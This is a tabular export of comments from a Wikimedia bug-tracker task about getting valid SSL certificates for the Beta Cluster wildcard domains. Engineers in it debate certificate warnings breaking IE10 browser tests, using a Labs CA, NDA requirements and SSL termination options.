I would do it myself if I had access to the 'Labs CA'.",,,1380701912,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,13,,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,4.0,8.0,0.0,0.0,0.0,9.0,0.0,2.0,13.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,13.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,11.0,13.0,8.0,0.0,8.0,0.0,11.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,3.452830188679245,0.6981132075471698,"Calm down, what we need is to use the 'Labs CA' certificate authority to generate all the certificates we need, then add that authority as a trusted one in the browsers.

I would do it myself if I had access to the 'Labs CA'."
227200,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #35)
> (In reply to comment #33)
> > (In reply to comment #32)
> > > (In reply to comment #19)
> > > > For those playing along at home: The Beta Cluster currently does not have
> > > > https by default turned on for this very reason (it broke browser tests).
> > > 
> > > This is no longer the case.
> > 
> > Correction: it's enabled by default, but only for logged in users.
> > 
> > But I can't find prefershttps in Preferences to turn that off.
> 
> This means, for instance, that VisualEditor is entirely untestable on Beta
> Labs. Yay fun. :-(

That is not true, VisualEditor works just fine on beta labs, we found Bug 54791 on beta labs with an automated browser test just this week.  Beta labs is as healthy as it has ever been, and it is running the master branch with database updates all maintained automatically.  Varnish on beta is configured properly, and is working well. 

What does not work on beta labs without a real SSL cert are: 

* tests for IE10 are busted : https://saucelabs.com/jobs/a29bcd975ac6483195b3bd56a64fec6a

* having to visit https://bits.beta.wmflabs.org manually over and over again to get styling to work in every browser is a drag",,,1380665184,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,13,,1.5,0.0,0.0,1.5,1.0,2.5,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,8.5,9.0,0.0,2.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,7.5,0.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,14.5,0.5,0.5,0.5,1.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,5.5,13.5,0.0,2.0,5.0,0.0,0.0,0.0,0.5,3.0,0.0,1.0,0.0,1.5,9.0,8.5,0.0,0.0,0.0,1.5,0.0,0.5,2.0,0.0,2.0,0.0,0.0,0.0,3.604561403508772,0.6429824561403509,"(In reply to comment #35)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That is not true, VisualEditor works just fine on beta labs, we found Bug 54791 on beta labs with an automated browser test just this week.  Beta labs is as healthy as it has ever been, and it is running the master branch with database updates all maintained automatically.  Varnish on beta is configured properly, and is working well. 

What does not work on beta labs without a real SSL cert are: 

* tests for IE10 are busted : URL

* having to visit URL manually over and over again to get styling to work in every browser is a drag"
227193,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #33)
> (In reply to comment #32)
> > (In reply to comment #19)
> > > For those playing along at home: The Beta Cluster currently does not have
> > > https by default turned on for this very reason (it broke browser tests).
> > 
> > This is no longer the case.
> 
> Correction: it's enabled by default, but only for logged in users.
> 
> But I can't find prefershttps in Preferences to turn that off.

This means, for instance, that VisualEditor is entirely untestable on Beta Labs. Yay fun. :-(",,,1380657576,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,33.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,10.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,0.5833333333333334,"(In reply to comment #33)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This means, for instance, that VisualEditor is entirely untestable on Beta Labs. Yay fun. :-("
227189,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
Yes. Using beta continues to be a hassle, and in the near future the SSL issue is going to be a big problem.",,,1380641833,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,11.0,11.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,3.2222222222222223,0.8148148148148148,"
Yes. Using beta continues to be a hassle, and in the near future the SSL issue is going to be a big problem."
227184,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #32)
> (In reply to comment #19)
> > For those playing along at home: The Beta Cluster currently does not have
> > https by default turned on for this very reason (it broke browser tests).
> 
> This is no longer the case.

Correction: it's enabled by default, but only for logged in users.

But I can't find prefershttps in Preferences to turn that off.",,,1380587930,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,2.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,4.0,17.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3958333333333335,0.75,"(In reply to comment #32)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Correction: it's enabled by default, but only for logged in users.

But I can't find prefershttps in Preferences to turn that off."
227179,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #19)
> For those playing along at home: The Beta Cluster currently does not have
> https by default turned on for this very reason (it broke browser tests).

This is no longer the case.

(In reply to comment #24)
> Let's deploy SSL either correctly or not-at-all to beta.

Agreed.  I think turning SSL completely off on beta would be better than the current situation.  It's not good for people to get in the habit of ignoring certificate warnings.

Of course, fixing it properly with a valid cert is best.",,,1380587514,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,1.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,2.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,13.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,4.0,16.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,4.0,2.0,1.0,0.0,3.4390243902439024,0.7195121951219512,"(In reply to comment #19)
QUOTE
QUOTE

This is no longer the case.

(In reply to comment #24)
QUOTE

Agreed.  I think turning SSL completely off on beta would be better than the current situation.  It's not good for people to get in the habit of ignoring certificate warnings.

Of course, fixing it properly with a valid cert is best."
227174,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Bumping this with a note that this affects our ability to run automated tests with IE10 only.  (Demo on request) Other versions of IE seem to be OK with the current situation on labs, but I haven't found a way around IE10's paranoia. 

It would be good to have some sort of solution for this in advance of support for IE10 in VisualEditor.",,,1379432509,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,11,,1.0,0.0,0.0,0.0,1.0,7.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,3.0,0.0,3.0,23.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,3.0,1.0,0.0,1.0,14.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,15.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,23.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.7945205479452055,0.7534246575342466,"Bumping this with a note that this affects our ability to run automated tests with IE10 only.  (Demo on request) Other versions of IE seem to be OK with the current situation on labs, but I haven't found a way around IE10's paranoia. 

It would be good to have some sort of solution for this in advance of support for IE10 in VisualEditor."
227169,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Hm. That isn't a bad idea. If we were to do that, I'd want to move the ssl terminators and the caching layer there, and strip private IP info at that layer. Then we can change beta's privacy policy to that of the projects.",,,1377728033,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,11.0,2.0,4.0,15.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,11.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.3773584905660377,0.7547169811320755,"Hm. That isn't a bad idea. If we were to do that, I'd want to move the ssl terminators and the caching layer there, and strip private IP info at that layer. Then we can change beta's privacy policy to that of the projects."
227164,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"There's also the option which had been discussed before: make a new labs project whose sole purpose would be to do SSL termination and would then relay to varnish.

Then *that* project would have the NDA req instead of the core beta project.",,,1377727232,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,8.0,4.0,8.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.82,"There's also the option which had been discussed before: make a new labs project whose sole purpose would be to do SSL termination and would then relay to varnish.

Then *that* project would have the NDA req instead of the core beta project."
227158,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #25)
> As I've mentioned in the past, I'm totally fine with getting an SSL cert for
> beta, assuming we ensure every project member in deployment-prep has a signed
> NDA.
> 
> In the future Yuvi's proxy will handle load balancing, HTTPS and such. We'll
> be
> able to drop the NDA requirement (and the SSL cert) once we have that.

Not every deployment-prep member is capable of signing an NDA anyway.",,,1377726168,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,8,,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.3513513513513513,0.6756756756756757,"(In reply to comment #25)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Not every deployment-prep member is capable of signing an NDA anyway."
227151,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Ah. Indeed. Well, let's treat deployment-prep like tools and require NDAs for all roots...",,,1377725772,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9523809523809523,"Ah. Indeed. Well, let's treat deployment-prep like tools and require NDAs for all roots..."
227143,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #25)
> In the future Yuvi's proxy will handle load balancing, HTTPS and such.
> We'll able to drop the NDA requirement (and the SSL cert) once we have that.

I dont think we should use  Yuvi proxy for beta since the point of the project is to closely reproduce production. Currently the SSL connections are handled by nginx proxies, whenever varnish supports it, they will land on the varnish frontends.",,,1377725574,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,13.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,7.0,3.0,12.0,3.0,0.0,7.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,7.0,13.0,3.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.85,"(In reply to comment #25)
QUOTE
QUOTE

I dont think we should use  Yuvi proxy for beta since the point of the project is to closely reproduce production. Currently the SSL connections are handled by nginx proxies, whenever varnish supports it, they will land on the varnish frontends."
227135,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Understandable for manual testing. I just wanted to make sure the automated tests weren't actually blocked, since there's ways to relatively easily workaround the issue.

As I've mentioned in the past, I'm totally fine with getting an SSL cert for beta, assuming we ensure every project member in deployment-prep has a signed NDA.

In the future Yuvi's proxy will handle load balancing, HTTPS and such. We'll be able to drop the NDA requirement (and the SSL cert) once we have that.",,,1377724502,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,1.0,0.0,0.5,0.5,0.5,4.5,1.0,0.0,0.0,0.0,3.0,2.5,0.0,0.0,0.5,4.5,0.0,3.0,8.0,0.0,2.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,4.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,11.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.5,0.5,1.0,0.0,0.0,0.0,6.0,1.5,10.0,1.5,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.5,8.0,5.5,0.0,0.0,0.0,4.5,0.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,3.9607843137254903,0.8431372549019608,"Understandable for manual testing. I just wanted to make sure the automated tests weren't actually blocked, since there's ways to relatively easily workaround the issue.

As I've mentioned in the past, I'm totally fine with getting an SSL cert for beta, assuming we ensure every project member in deployment-prep has a signed NDA.

In the future Yuvi's proxy will handle load balancing, HTTPS and such. We'll be able to drop the NDA requirement (and the SSL cert) once we have that."
227127,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Ryan, it's possible to work around the problem, but the issue is that, for manual testing, it's too easy to blame the SSL problem for things that might be totally unrelated.  Let's deploy SSL either correctly or not-at-all to beta.",,,1377721482,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,2.0,0.0,2.0,0.0,2.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,7.0,2.0,6.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,15.0,6.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.7037037037037037,"Ryan, it's possible to work around the problem, but the issue is that, for manual testing, it's too easy to blame the SSL problem for things that might be totally unrelated.  Let's deploy SSL either correctly or not-at-all to beta."
227119,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"My original requests was to generate certificates for the beta wildcards domains using the 'Labs CA' certificate authority.  By adding that authority certificate in the browser (or accepting it), that should make the browser trust all the generated certs.",,,1377721422,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,8,,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,23.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,2.0,9.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,4.617021276595745,0.7872340425531915,"My original requests was to generate certificates for the beta wildcards domains using the 'Labs CA' certificate authority.  By adding that authority certificate in the browser (or accepting it), that should make the browser trust all the generated certs."
227116,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,The automated tests were OK I think with maybe some small exceptions.  The hassle was having to visit all the hosts (e.g. bits) in your browser in order to use any beta wikis.,,,1377718091,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,8.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,13.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,11.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.763157894736842,0.8947368421052632,The automated tests were OK I think with maybe some small exceptions.  The hassle was having to visit all the hosts (e.g. bits) in your browser in order to use any beta wikis.
227113,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Is it not possible to disable certificate checking on the automated browser tests until we get a proper certificate? I remember this being possible years ago when I built a selenium cluster...,,,1377717965,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,6.0,9.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,9.0,0.0,3.0,0.0,0.0,12.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,4.735294117647059,0.8823529411764706,Is it not possible to disable certificate checking on the automated browser tests until we get a proper certificate? I remember this being possible years ago when I built a selenium cluster...
227109,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Mostly it makes using beta labs manually a real hassle.,,,1377716121,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,4.181818181818182,1.0,Mostly it makes using beta labs manually a real hassle.
227104,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,For those playing along at home: The Beta Cluster currently does not have https by default turned on for this very reason (it broke browser tests).,,,1377713093,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,17.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.066666666666666,1.0,For those playing along at home: The Beta Cluster currently does not have https by default turned on for this very reason (it broke browser tests).
227098,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"We should probably disable default https on beta until we have the opportunity to fix this up properly.  The proper fix, from what I understand, is pretty complicated, and isn't something we can do with just a day or two of elbow grease.",,,1377712492,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,0.0,2.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,10.0,14.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,6.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.9,0.88,"We should probably disable default https on beta until we have the opportunity to fix this up properly.  The proper fix, from what I understand, is pretty complicated, and isn't something we can do with just a day or two of elbow grease."
227094,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"There's no interface with firefox, either. The workaround is to manually go to https://bits.beta.wmflabs.org/ and accept the certificate there.",,,1377088410,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,4.0,13.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.260869565217392,0.9130434782608695,"There's no interface with firefox, either. The workaround is to manually go to URL and accept the certificate there."
